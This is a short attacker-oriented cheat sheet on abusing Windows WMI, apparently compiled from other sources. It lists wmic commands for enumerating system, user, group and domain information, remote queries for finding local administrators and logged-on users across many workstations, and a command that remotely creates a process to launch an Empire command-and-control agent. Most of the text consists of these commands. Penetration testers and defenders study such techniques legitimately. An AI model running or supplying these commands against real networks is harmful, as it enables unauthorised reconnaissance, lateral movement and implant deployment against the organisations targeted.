How Does it works

Wmi allows to open process in hosts where you know username/(password/Hash). Then, Wmiexec uses wmi to execute each command that is asked to execute (this is why Wmicexec gives you semi-interactive shell). This script gives a semi-interactive shell similar to, but using different DCOM endpoints (ShellBrowserWindow DCOM object). Currently, it supports MMC20. Application, Shell Windows and Shell Browser Window objects. (from here)


From an attacker's perspective, WMI can be very valuable in enumerating sensitive information about a system or the domain.

wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list

Manual Remote WMI Querying

For example, here's a very stealthy way to discover local admins on a remote machine (note that domain is the computer name):

wmic /node:ordws01 path win32_groupuser where (groupcomponent="\"administrators\",domain=\"ORDWS01\"")

Another useful oneliner is to see who is logged on to a machine (for when you're hunting admins):

wmic /node:ordws01 path win32_loggedonuser get antecedent

wmic can even read nodes from a text file and execute the command on all of them. If you have a text file of workstations:

wmic /node:@workstations.txt path win32_loggedonuser get antecedent

We'll remotely create a process over WMI to execute a Empire agent:

wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"

We see it executed successfully (ReturnValue = 0). And a second later our Empire listener catches it. Note the process ID is the same as WMI returned.

All this information was extracted from here: